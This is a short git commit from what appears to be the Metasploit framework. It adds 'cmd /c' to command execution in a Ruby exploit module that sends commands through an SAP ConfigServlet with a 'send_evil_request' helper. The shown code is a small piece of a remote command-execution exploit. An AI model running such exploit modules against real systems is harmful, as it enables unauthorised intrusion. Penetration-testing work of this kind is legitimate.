command execution needs cmd /c

unstable
Andras Kabai 2013-04-22 10:20:45 +02:00
parent d26289e05a
commit a1e52b5b27
1 changed files with 1 additions and 0 deletions

View File

@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit
end
def execute_command(cmd, opts)
cmd = "cmd /c " + cmd
vprint_status("Attempting to execute: #{cmd}")
send_evil_request(opts[:sap_configservlet_uri], cmd)
end